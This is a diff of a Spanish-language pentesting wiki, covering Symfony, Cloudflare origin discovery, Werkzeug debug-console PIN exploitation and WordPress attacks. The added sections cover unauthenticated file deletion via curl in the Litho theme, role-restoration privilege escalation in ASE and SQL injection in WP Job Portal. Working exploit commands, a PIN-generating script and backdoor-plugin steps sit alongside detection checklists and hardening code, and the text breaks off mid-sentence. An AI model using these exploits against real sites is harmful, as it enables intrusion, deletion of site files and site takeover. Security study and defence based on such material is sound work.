`sfNamespacedParameterHolder`. Verifica los puntos finales de carga de archivos y los envoltorios `phar://`. + {{#ref}} ../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md {{#endref}} @@ -109,12 +110,12 @@ Utilice gadgets de deserialización dentro del directorio de caché o escriba un 1. **Nunca despliegue debug** (`APP_ENV=dev`, `APP_DEBUG=1`) en producción; bloquee `/app_dev.php`, `/_profiler`, `/_wdt` en la configuración del servidor web. 2. Almacene secretos en variables de entorno o `vault/secrets.local.php`, *nunca* en archivos accesibles a través del document-root. 3. Haga cumplir la gestión de parches: suscríbase a los avisos de seguridad de Symfony y mantenga al menos el nivel de parches LTS. -4. Si ejecuta en Windows, actualice inmediatamente para mitigar CVE-2024-51736 o agregue una defensa en profundidad `open_basedir`/`disable_functions`. +4. Si está ejecutando en Windows, actualice inmediatamente para mitigar CVE-2024-51736 o agregue una defensa en profundidad `open_basedir`/`disable_functions`. --- ### Herramientas ofensivas útiles -* **ambionics/symfony-exploits** – RCE de fragmento secreto, descubrimiento de rutas de depuración. +* **ambionics/symfony-exploits** – RCE de fragmento secreto, descubrimiento de rutas de depurador. * **phpggc** – Cadenas de gadgets listas para Symfony 1 y 2. * **sf-encoder** – pequeño ayudante para calcular el HMAC de `_fragment` (implementación en Go). diff --git a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md index 867269465..a434392b3 100644 --- a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md +++ b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md @@ -7,7 +7,7 @@ - Puedes usar algún servicio que te dé los **registros DNS históricos** del dominio. Tal vez la página web esté funcionando en una dirección IP utilizada anteriormente. - Lo mismo podría lograrse **verificando certificados SSL históricos** que podrían estar apuntando a la dirección IP de origen. - Revisa también **registros DNS de otros subdominios que apunten directamente a IPs**, ya que es posible que otros subdominios estén apuntando al mismo servidor (quizás para ofrecer FTP, correo u otro servicio). -- Si encuentras un **SSRF dentro de la aplicación web**, puedes abusar de ello para obtener la dirección IP del servidor. +- Si encuentras un **SSRF dentro de la aplicación web** puedes abusar de ello para obtener la dirección IP del servidor. - Busca una cadena única de la página web en navegadores como shodan (y tal vez google y similares?). Quizás puedas encontrar una dirección IP con ese contenido. - De manera similar, en lugar de buscar una cadena única, podrías buscar el icono favicon con la herramienta: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) o con [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) - Esto no funcionará muy frecuentemente porque el servidor debe enviar la misma respuesta cuando se accede por la dirección IP, pero nunca se sabe. @@ -16,6 +16,7 @@ - Busca el dominio dentro de [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) o [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). O usa la herramienta [CloudPeler](https://github.com/zidansec/CloudPeler) (que utiliza esa API) - Busca el dominio en [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/) +- [**CF-Hero**](https://github.com/musana/CF-Hero) es una herramienta de reconocimiento integral desarrollada para descubrir las verdaderas direcciones IP de aplicaciones web protegidas por Cloudflare. Realiza recopilación de inteligencia de múltiples fuentes a través de varios métodos. - [**CloudFlair**](https://github.com/christophetd/CloudFlair) es una herramienta que buscará utilizando certificados de Censys que contengan el nombre de dominio, luego buscará IPv4s dentro de esos certificados y finalmente intentará acceder a la página web en esas IPs. - [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r es una poderosa herramienta de Python meticulosamente diseñada para descubrir la verdadera dirección IP de sitios web protegidos por Cloudflare y otras alternativas, un servicio de seguridad web y mejora del rendimiento ampliamente adoptado. Su misión principal es discernir con precisión la dirección IP real de los servidores web que están ocultos detrás del escudo protector de Cloudflare. - [Censys](https://search.censys.io/) @@ -41,6 +42,7 @@ Ten en cuenta que, aunque esto se hizo para máquinas de AWS, podría hacerse pa Para una mejor descripción de este proceso, consulta: + {{#ref}} https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks {{#endref}} @@ -66,13 +68,13 @@ Este mecanismo se basa en **certificados SSL** [**del cliente**](https://socrada En lugar de configurar su propio certificado, los clientes pueden simplemente usar el certificado de Cloudflare para permitir cualquier conexión desde Cloudflare, **independientemente del inquilino**. > [!CAUTION] -> Por lo tanto, un atacante podría simplemente establecer un **dominio en Cloudflare usando el certificado de Cloudflare y apuntar** a la dirección **IP** del dominio **de la víctima**. De esta manera, al configurar su dominio completamente desprotegido, Cloudflare no protegerá las solicitudes enviadas. +> Por lo tanto, un atacante podría simplemente establecer un **dominio en Cloudflare usando el certificado de Cloudflare y apuntarlo** a la dirección **IP** del dominio **de la víctima**. De esta manera, al configurar su dominio completamente desprotegido, Cloudflare no protegerá las solicitudes enviadas. Más información [**aquí**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/). -### Direcciones IP de Cloudflare en la Lista Blanca +### Direcciones IP de Cloudflare en la Lista Permitida -Esto **rechazará conexiones que no se originen en las** direcciones IP de Cloudflare. Esto también es vulnerable a la configuración anterior donde un atacante simplemente **apunta su propio dominio en Cloudflare** a la dirección **IP** de las **víctimas**. +Esto **rechazará conexiones que no se originen en las** direcciones IP de Cloudflare. Esto también es vulnerable a la configuración anterior donde un atacante simplemente **apunta su propio dominio en Cloudflare** a la dirección **IP de las víctimas** y lo ataca. Más información [**aquí**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/). @@ -111,7 +113,7 @@ Usa un navegador sin cabeza que no sea detectado como un navegador automatizado - **Playwright:** El [plugin de sigilo](https://www.npmjs.com/package/playwright-stealth) llegará a Playwright pronto. Sigue los desarrollos [aquí](https://github.com/berstend/puppeteer-extra/issues/454) y [aquí](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra). - **Selenium:** El [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) es un parche optimizado para Selenium Chromedriver. -### Proxy Inteligente Con Bypass Integrado de Cloudflare +### Proxy Inteligente con Bypass Integrado de Cloudflare Los **proxies inteligentes** son actualizados continuamente por empresas especializadas, con el objetivo de eludir las medidas de seguridad de Cloudflare (ya que ese es su negocio). diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md index a63f995a6..087f77fba 100644 --- a/src/network-services-pentesting/pentesting-web/werkzeug.md +++ b/src/network-services-pentesting/pentesting-web/werkzeug.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Consola RCE +## Console RCE Si el modo de depuración está activo, podrías intentar acceder a `/console` y obtener RCE. ```python @@ -12,7 +12,7 @@ __import__('os').popen('whoami').read(); También hay varios exploits en internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) o uno en metasploit. -## Protegido por PIN - Traversal de Ruta +## Protección por PIN - Traversal de Ruta En algunas ocasiones, el endpoint **`/console`** estará protegido por un pin. Si tienes una **vulnerabilidad de traversal de archivos**, puedes filtrar toda la información necesaria para generar ese pin. @@ -24,22 +24,22 @@ The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` -Un mensaje sobre el escenario "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuración de Werkzeug, indicando que se requiere un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generación de PIN en el archivo de inicialización de depuración de Werkzeug (`__init__.py`). El mecanismo de generación de PIN se puede estudiar en el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), aunque se aconseja obtener el código del servidor real a través de una vulnerabilidad de recorrido de archivos debido a posibles discrepancias de versión. +Un mensaje sobre el escenario "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuración de Werkzeug, indicando un requisito de un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generación de PIN en el archivo de inicialización de depuración de Werkzeug (`__init__.py`). El mecanismo de generación de PIN se puede estudiar en el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), aunque se aconseja obtener el código del servidor real a través de una vulnerabilidad de recorrido de archivos debido a posibles discrepancias de versión. Para explotar el PIN de la consola, se necesitan dos conjuntos de variables, `probably_public_bits` y `private_bits`: #### **`probably_public_bits`** - **`username`**: Se refiere al usuario que inició la sesión de Flask. -- **`modname`**: Generalmente designado como `flask.app`. +- **`modname`**: Típicamente designado como `flask.app`. - **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generalmente se resuelve en **Flask**. -- **`getattr(mod, '__file__', None)`**: Representa la ruta completa a `app.py` dentro del directorio de Flask (por ejemplo, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` no es aplicable, **intenta `app.pyc`**. +- **`getattr(mod, '__file__', None)`**: Representa la ruta completa a `app.py` dentro del directorio de Flask (por ejemplo, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` no es aplicable, **intente `app.pyc`**. #### **`private_bits`** - **`uuid.getnode()`**: Obtiene la dirección MAC de la máquina actual, con `str(uuid.getnode())` traduciéndola a un formato decimal. -- Para **determinar la dirección MAC del servidor**, se debe identificar la interfaz de red activa utilizada por la aplicación (por ejemplo, `ens3`). En casos de incertidumbre, **filtra `/proc/net/arp`** para encontrar el ID del dispositivo, luego **extrae la dirección MAC** de **`/sys/class/net//address`**. +- Para **determinar la dirección MAC del servidor**, se debe identificar la interfaz de red activa utilizada por la aplicación (por ejemplo, `ens3`). En casos de incertidumbre, **filtrar `/proc/net/arp`** para encontrar el ID del dispositivo, luego **extraer la dirección MAC** de **`/sys/class/net//address`**. - La conversión de una dirección MAC hexadecimal a decimal se puede realizar como se muestra a continuación: ```python @@ -92,9 +92,9 @@ try: ``` -Al recopilar todos los datos necesarios, se puede ejecutar el script de explotación para generar el PIN de la consola de Werkzeug: +Al compilar todos los datos necesarios, se puede ejecutar el script de explotación para generar el PIN de la consola de Werkzeug: -Al recopilar todos los datos necesarios, se puede ejecutar el script de explotación para generar el PIN de la consola de Werkzeug. El script utiliza los `probably_public_bits` y `private_bits` ensamblados para crear un hash, que luego se somete a un procesamiento adicional para producir el PIN final. A continuación se muestra el código de Python para ejecutar este proceso: +Al compilar todos los datos necesarios, se puede ejecutar el script de explotación para generar el PIN de la consola de Werkzeug. El script utiliza los `probably_public_bits` y `private_bits` ensamblados para crear un hash, que luego se somete a un procesamiento adicional para producir el PIN final. A continuación se muestra el código de Python para ejecutar este proceso: ```python import hashlib from itertools import chain @@ -140,7 +140,7 @@ rv = num print(rv) ``` -Este script produce el PIN al hashear los bits concatenados, agregar sales específicas (`cookiesalt` y `pinsalt`), y formatear la salida. Es importante notar que los valores reales para `probably_public_bits` y `private_bits` deben obtenerse con precisión del sistema objetivo para asegurar que el PIN generado coincida con el esperado por la consola de Werkzeug. +Este script produce el PIN al hashear los bits concatenados, agregar sales específicas (`cookiesalt` y `pinsalt`), y formatear la salida. Es importante notar que los valores reales para `probably_public_bits` y `private_bits` deben obtenerse con precisión del sistema objetivo para asegurar que el PIN generado coincida con el que espera la consola de Werkzeug. > [!TIP] > Si estás en una **versión antigua** de Werkzeug, intenta cambiar el **algoritmo de hashing a md5** en lugar de sha1. @@ -153,6 +153,7 @@ Esto se debe a que, en Werkzeug, es posible enviar algunos caracteres **Unicode* ## Explotación Automatizada + {{#ref}} https://github.com/Ruulian/wconsole_extractor {{#endref}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 69b32ee83..e6612e52d 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -25,12 +25,12 @@ - `xmlrpc.php` es un archivo que representa una característica de WordPress que permite que los datos se transmitan con HTTP actuando como el mecanismo de transporte y XML como el mecanismo de codificación. Este tipo de comunicación ha sido reemplazada por la [REST API](https://developer.wordpress.org/rest-api/reference) de WordPress. - La carpeta `wp-content` es el directorio principal donde se almacenan los plugins y temas. - `wp-content/uploads/` es el directorio donde se almacenan los archivos subidos a la plataforma. -- `wp-includes/` Este es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets. -- `wp-sitemap.xml` En las versiones de WordPress 5.5 y superiores, WordPress genera un archivo XML de mapa del sitio con todas las publicaciones públicas y tipos de publicaciones y taxonomías consultables públicamente. +- `wp-includes/` este es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets. +- `wp-sitemap.xml` en las versiones de WordPress 5.5 y superiores, WordPress genera un archivo XML de mapa del sitio con todas las publicaciones públicas y tipos de publicaciones y taxonomías consultables públicamente. **Post explotación** -- El archivo `wp-config.php` contiene información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el nombre de usuario y la contraseña, las claves de autenticación y sales, y el prefijo de la tabla de la base de datos. Este archivo de configuración también se puede usar para activar el modo DEBUG, lo que puede ser útil para la solución de problemas. +- El archivo `wp-config.php` contiene información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el nombre de usuario y la contraseña, claves de autenticación y sales, y el prefijo de la tabla de la base de datos. Este archivo de configuración también se puede usar para activar el modo DEBUG, lo que puede ser útil para la solución de problemas. ### Permisos de Usuarios @@ -62,8 +62,6 @@ curl https://victim.com/ | grep 'content="WordPress' - Archivos JavaScript -![](<../../images/image (524).png>) - ### Obtener Plugins ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -95,21 +93,21 @@ Si las respuestas son **200** o **30X**, eso significa que el id es **válido**. ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -Otro endpoint `/wp-json/` que puede revelar información sobre los usuarios es: +Otro endpoint de `/wp-json/` que puede revelar información sobre los usuarios es: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Nota que este endpoint solo expone usuarios que han hecho una publicación. **Solo se proporcionará información sobre los usuarios que tienen esta función habilitada**. +Tenga en cuenta que este endpoint solo expone a los usuarios que han hecho una publicación. **Solo se proporcionará información sobre los usuarios que tienen esta función habilitada**. -También ten en cuenta que **/wp-json/wp/v2/pages** podría filtrar direcciones IP. +También tenga en cuenta que **/wp-json/wp/v2/pages** podría filtrar direcciones IP. - **Enumeración de nombres de usuario de inicio de sesión**: Al iniciar sesión en **`/wp-login.php`**, el **mensaje** es **diferente** si el **nombre de usuario indicado existe o no**. ### XML-RPC -Si `xml-rpc.php` está activo, puedes realizar un ataque de fuerza bruta de credenciales o usarlo para lanzar ataques de DoS a otros recursos. (Puedes automatizar este proceso[ usando esto](https://github.com/relarizky/wpxploit) por ejemplo). +Si `xml-rpc.php` está activo, puede realizar un ataque de fuerza bruta de credenciales o usarlo para lanzar ataques de DoS a otros recursos. (Puede automatizar este proceso[ usando esto](https://github.com/relarizky/wpxploit) por ejemplo). -Para ver si está activo, intenta acceder a _**/xmlrpc.php**_ y envía esta solicitud: +Para ver si está activo, intente acceder a _**/xmlrpc.php**_ y envíe esta solicitud: **Verificar** ```html @@ -168,7 +166,7 @@ Usando las credenciales correctas, puedes subir un archivo. En la respuesta, el ``` -También hay una **manera más rápida** de forzar credenciales usando **`system.multicall`** ya que puedes probar varias credenciales en la misma solicitud: +También hay una **manera más rápida** de realizar un ataque de fuerza bruta a las credenciales usando **`system.multicall`** ya que puedes probar varias credenciales en la misma solicitud:
@@ -193,7 +191,7 @@ Esto se puede usar para pedir a **miles** de **sitios** de Wordpress que **acced Si obtienes **faultCode** con un valor **mayor** que **0** (17), significa que el puerto está abierto. -Mira el uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método para causar DDoS. +Echa un vistazo al uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método para causar DDoS. **DDoS** ```html @@ -225,6 +223,7 @@ Esta es la respuesta cuando no funciona: ## SSRF + {{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} @@ -273,7 +272,7 @@ Crea tu puerta trasera en php usando, por ejemplo: ![](<../../images/image (183).png>) -Luego agrega un nuevo plugin: +Luego añade un nuevo plugin: ![](<../../images/image (722).png>) @@ -295,7 +294,7 @@ Accede a ella y verás la URL para ejecutar la shell inversa: ### Subiendo y activando un plugin malicioso -Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y puede ser explotado para obtener una shell web. Este proceso se lleva a cabo a través del panel de WordPress de la siguiente manera: +Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y que puede ser explotado para obtener una shell web. Este proceso se lleva a cabo a través del panel de WordPress de la siguiente manera: 1. **Adquisición del Plugin**: El plugin se obtiene de una fuente como Exploit DB como [**aquí**](https://www.exploit-db.com/exploits/36374). 2. **Instalación del Plugin**: @@ -304,7 +303,7 @@ Este método implica la instalación de un plugin malicioso conocido por ser vul 3. **Activación del Plugin**: Una vez que el plugin se instala correctamente, debe ser activado a través del panel. 4. **Explotación**: - Con el plugin "reflex-gallery" instalado y activado, puede ser explotado ya que se sabe que es vulnerable. -- El marco Metasploit proporciona un exploit para esta vulnerabilidad. Al cargar el módulo apropiado y ejecutar comandos específicos, se puede establecer una sesión de meterpreter, otorgando acceso no autorizado al sitio. +- El marco de Metasploit proporciona un exploit para esta vulnerabilidad. Al cargar el módulo apropiado y ejecutar comandos específicos, se puede establecer una sesión de meterpreter, otorgando acceso no autorizado al sitio. - Se señala que este es solo uno de los muchos métodos para explotar un sitio de WordPress. El contenido incluye ayudas visuales que representan los pasos en el panel de WordPress para instalar y activar el plugin. Sin embargo, es importante señalar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe ser utilizada de manera responsable y solo en un contexto legal, como pruebas de penetración con permiso explícito. @@ -313,8 +312,8 @@ El contenido incluye ayudas visuales que representan los pasos en el panel de Wo ## De XSS a RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ es un script diseñado para escalar una **vulnerabilidad de Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** u otras vulnerabilidades críticas en WordPress. Para más información consulta [**esta publicación**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona **soporte para las versiones de Wordpress 6.X.X, 5.X.X y 4.X.X y permite:** -- _**Escalación de Privilegios:**_ Crea un usuario en WordPress. +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ es un script diseñado para escalar una **vulnerabilidad de Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** u otras vulnerabilidades críticas en WordPress. Para más información consulta [**esta publicación**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona **soporte para versiones de WordPress 6.X.X, 5.X.X y 4.X.X y permite:** +- _**Escalado de Privilegios:**_ Crea un usuario en WordPress. - _**(RCE) Subida de Plugin Personalizado (puerta trasera):**_ Sube tu plugin personalizado (puerta trasera) a WordPress. - _**(RCE) Edición de Plugin Incorporado:**_ Edita un Plugin Incorporado en WordPress. - _**(RCE) Edición de Tema Incorporado:**_ Edita un Tema Incorporado en WordPress. @@ -338,7 +337,7 @@ Conocer cómo un plugin de Wordpress puede exponer funcionalidad es clave para e - **`wp_ajax`** -Una de las formas en que un plugin puede exponer funciones a los usuarios es a través de manejadores AJAX. Estos podrían contener errores de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un nonce de Wordpress que **cualquier usuario autenticado en la instancia de Wordpress podría tener** (independientemente de su rol). +Una de las formas en que un plugin puede exponer funciones a los usuarios es a través de controladores AJAX. Estos podrían contener errores de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un nonce de Wordpress que **cualquier usuario autenticado en la instancia de Wordpress podría tener** (independientemente de su rol). Estas son las funciones que se pueden usar para exponer una función en un plugin: ```php @@ -352,7 +351,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); - **REST API** -También es posible exponer funciones de WordPress registrando un REST AP utilizando la función `register_rest_route`: +También es posible exponer funciones de WordPress registrando un REST API utilizando la función `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( @@ -368,7 +367,147 @@ El `permission_callback` es una función de retorno que verifica si un usuario d - **Acceso directo al archivo php** -Por supuesto, WordPress utiliza PHP y los archivos dentro de los plugins son accesibles directamente desde la web. Por lo tanto, en caso de que un plugin esté exponiendo alguna funcionalidad vulnerable que se active simplemente accediendo al archivo, será explotable por cualquier usuario. +Por supuesto, Wordpress utiliza PHP y los archivos dentro de los plugins son accesibles directamente desde la web. Así que, en caso de que un plugin esté exponiendo alguna funcionalidad vulnerable que se activa simplemente accediendo al archivo, será explotable por cualquier usuario. + +### Eliminación de Archivos Arbitrarios No Autenticada a través de wp_ajax_nopriv (Tema Litho <= 3.0) + +Los temas y plugins de WordPress frecuentemente exponen controladores AJAX a través de los hooks `wp_ajax_` y `wp_ajax_nopriv_`. Cuando se utiliza la variante **_nopriv_**, **el callback se vuelve accesible para visitantes no autenticados**, por lo que cualquier acción sensible debe implementar además: + +1. Una **verificación de capacidad** (por ejemplo, `current_user_can()` o al menos `is_user_logged_in()`), y +2. Un **nonce CSRF** validado con `check_ajax_referer()` / `wp_verify_nonce()`, y +3. **Saneamiento / validación estricta de entradas**. + +El tema multipropósito Litho (< 3.1) olvidó esos 3 controles en la función *Eliminar Familia de Fuentes* y terminó enviando el siguiente código (simplificado): +```php +function litho_remove_font_family_action_data() { +if ( empty( $_POST['fontfamily'] ) ) { +return; +} +$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] ); +$upload_dir = wp_upload_dir(); +$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily; +$filesystem = Litho_filesystem::init_filesystem(); + +if ( file_exists( $srcdir ) ) { +$filesystem->delete( $srcdir, FS_CHMOD_DIR ); +} +die(); +} +add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); +add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); +``` +Problemas introducidos por este fragmento: + +* **Acceso no autenticado** – se registra el gancho `wp_ajax_nopriv_`. +* **Sin verificación de nonce / capacidad** – cualquier visitante puede acceder al endpoint. +* **Sin saneamiento de ruta** – la cadena `fontfamily` controlada por el usuario se concatena a una ruta del sistema de archivos sin filtrado, lo que permite la clásica travesía `../../`. + +#### Explotación + +Un atacante puede eliminar cualquier archivo o directorio **debajo del directorio base de uploads** (normalmente `/wp-content/uploads/`) enviando una única solicitud HTTP POST: +```bash +curl -X POST https://victim.com/wp-admin/admin-ajax.php \ +-d 'action=litho_remove_font_family_action_data' \ +-d 'fontfamily=../../../../wp-config.php' +``` +Porque `wp-config.php` se encuentra fuera de *uploads*, cuatro secuencias de `../` son suficientes en una instalación por defecto. Eliminar `wp-config.php` obliga a WordPress a entrar en el *asistente de instalación* en la próxima visita, permitiendo una toma de control total del sitio (el atacante simplemente proporciona una nueva configuración de DB y crea un usuario administrador). + +Otros objetivos impactantes incluyen archivos `.php` de plugins/temas (para romper plugins de seguridad) o reglas de `.htaccess`. + +#### Lista de verificación de detección + +* Cualquier callback `add_action( 'wp_ajax_nopriv_...')` que llame a ayudantes del sistema de archivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). +* Concatenación de entrada de usuario no sanitizada en rutas (busque `$_POST`, `$_GET`, `$_REQUEST`). +* Ausencia de `check_ajax_referer()` y `current_user_can()`/`is_user_logged_in()`. + +#### Endurecimiento +```php +function secure_remove_font_family() { +if ( ! is_user_logged_in() ) { +wp_send_json_error( 'forbidden', 403 ); +} +check_ajax_referer( 'litho_fonts_nonce' ); + +$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); +$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; + +if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { +wp_send_json_error( 'invalid path', 400 ); +} +// … proceed … +} +add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); +// 🔒 NO wp_ajax_nopriv_ registration +``` +> [!TIP] +> **Siempre** trata cualquier operación de escritura/borrado en el disco como privilegiada y verifica dos veces: +> • Autenticación • Autorización • Nonce • Saneamiento de entrada • Contención de ruta (por ejemplo, a través de `realpath()` más `str_starts_with()`). + +--- + +### Escalación de privilegios a través de la restauración de roles obsoletos y autorización faltante (ASE "Ver Admin como Rol") + +Muchos plugins implementan una función de "ver como rol" o cambio temporal de rol guardando el/los rol(es) original(es) en los metadatos del usuario para que puedan ser restaurados más tarde. Si la ruta de restauración se basa únicamente en parámetros de solicitud (por ejemplo, `$_REQUEST['reset-for']`) y una lista mantenida por el plugin sin verificar capacidades y un nonce válido, esto se convierte en una escalación de privilegios vertical. + +Un ejemplo del mundo real se encontró en el plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La rama de reinicio restauró roles basados en `reset-for=` si el nombre de usuario aparecía en un array interno `$options['viewing_admin_as_role_are']`, pero no realizó una verificación `current_user_can()` ni una verificación de nonce antes de eliminar los roles actuales y volver a agregar los roles guardados de los metadatos del usuario `_asenha_view_admin_as_original_roles`: +```php +// Simplified vulnerable pattern +if ( isset( $_REQUEST['reset-for'] ) ) { +$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] ); +$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? []; + +if ( in_array( $reset_for_username, $usernames, true ) ) { +$u = get_user_by( 'login', $reset_for_username ); +foreach ( $u->roles as $role ) { $u->remove_role( $role ); } +$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true ); +foreach ( $orig as $r ) { $u->add_role( $r ); } +} +} +``` +Por qué es explotable + +- Confía en `$_REQUEST['reset-for']` y una opción de plugin sin autorización del lado del servidor. +- Si un usuario anteriormente tenía privilegios más altos guardados en `_asenha_view_admin_as_original_roles` y fue degradado, puede restaurarlos accediendo a la ruta de reinicio. +- En algunas implementaciones, cualquier usuario autenticado podría activar un reinicio para otro nombre de usuario aún presente en `viewing_admin_as_role_are` (autorización rota). + +Requisitos previos para el ataque + +- Versión vulnerable del plugin con la función habilitada. +- La cuenta objetivo tiene un rol de alto privilegio obsoleto almacenado en los metadatos del usuario de un uso anterior. +- Cualquier sesión autenticada; falta nonce/capacidad en el flujo de reinicio. + +Explotación (ejemplo) +```bash +# While logged in as the downgraded user (or any auth user able to trigger the code path), +# hit any route that executes the role-switcher logic and include the reset parameter. +# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks. +curl -s -k -b 'wordpress_logged_in=...' \ +'https://victim.example/wp-admin/?reset-for=' +``` +En compilaciones vulnerables, esto elimina los roles actuales y vuelve a agregar los roles originales guardados (por ejemplo, `administrator`), escalando efectivamente los privilegios. + +Lista de verificación de detección + +- Busque características de cambio de rol que persistan "roles originales" en los metadatos del usuario (por ejemplo, `_asenha_view_admin_as_original_roles`). +- Identifique rutas de restablecimiento/restauración que: + - Lean nombres de usuario de `$_REQUEST` / `$_GET` / `$_POST`. + - Modifiquen roles a través de `add_role()` / `remove_role()` sin `current_user_can()` y `wp_verify_nonce()` / `check_admin_referer()`. + - Autoricen basándose en un array de opciones del plugin (por ejemplo, `viewing_admin_as_role_are`) en lugar de las capacidades del actor. + +Fortalecimiento + +- Haga cumplir las verificaciones de capacidad en cada rama que cambie el estado (por ejemplo, `current_user_can('manage_options')` o más estrictas). +- Requiera nonces para todas las mutaciones de rol/permisos y verifíquelos: `check_admin_referer()` / `wp_verify_nonce()`. +- Nunca confíe en los nombres de usuario proporcionados por la solicitud; resuelva el usuario objetivo del lado del servidor basado en el actor autenticado y la política explícita. +- Invalide el estado de "roles originales" en actualizaciones de perfil/rol para evitar la restauración de privilegios altos obsoletos: +```php +add_action( 'profile_update', function( $user_id ) { +delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); +}, 10, 1 ); +``` +- Considera almacenar un estado mínimo y usar tokens limitados en el tiempo y protegidos por capacidades para cambios de rol temporales. + +--- ## Protección de WordPress @@ -394,6 +533,69 @@ También, **solo instala plugins y temas de WordPress confiables**. - Usa **contraseñas fuertes** y **2FA** - Revisa periódicamente los **permisos** de los usuarios - **Limita los intentos de inicio de sesión** para prevenir ataques de Fuerza Bruta -- Cambia el nombre del archivo **`wp-admin.php`** y permite el acceso solo internamente o desde ciertas direcciones IP. +- Renombra el archivo **`wp-admin.php`** y permite el acceso solo internamente o desde ciertas direcciones IP. + +### Inyección SQL no autenticada a través de validación insuficiente (WP Job Portal <= 2.3.2) + +El plugin de reclutamiento WP Job Portal expuso una tarea **savecategory** que finalmente ejecuta el siguiente código vulnerable dentro de `modules/category/model.php::validateFormData()`: +```php +$category = WPJOBPORTALrequest::getVar('parentid'); +$inquery = ' '; +if ($category) { +$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ +} +$query = "SELECT max(ordering)+1 AS maxordering FROM " +. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later +``` +Problemas introducidos por este fragmento: + +1. **Entrada de usuario no sanitizada** – `parentid` proviene directamente de la solicitud HTTP. +2. **Concatenación de 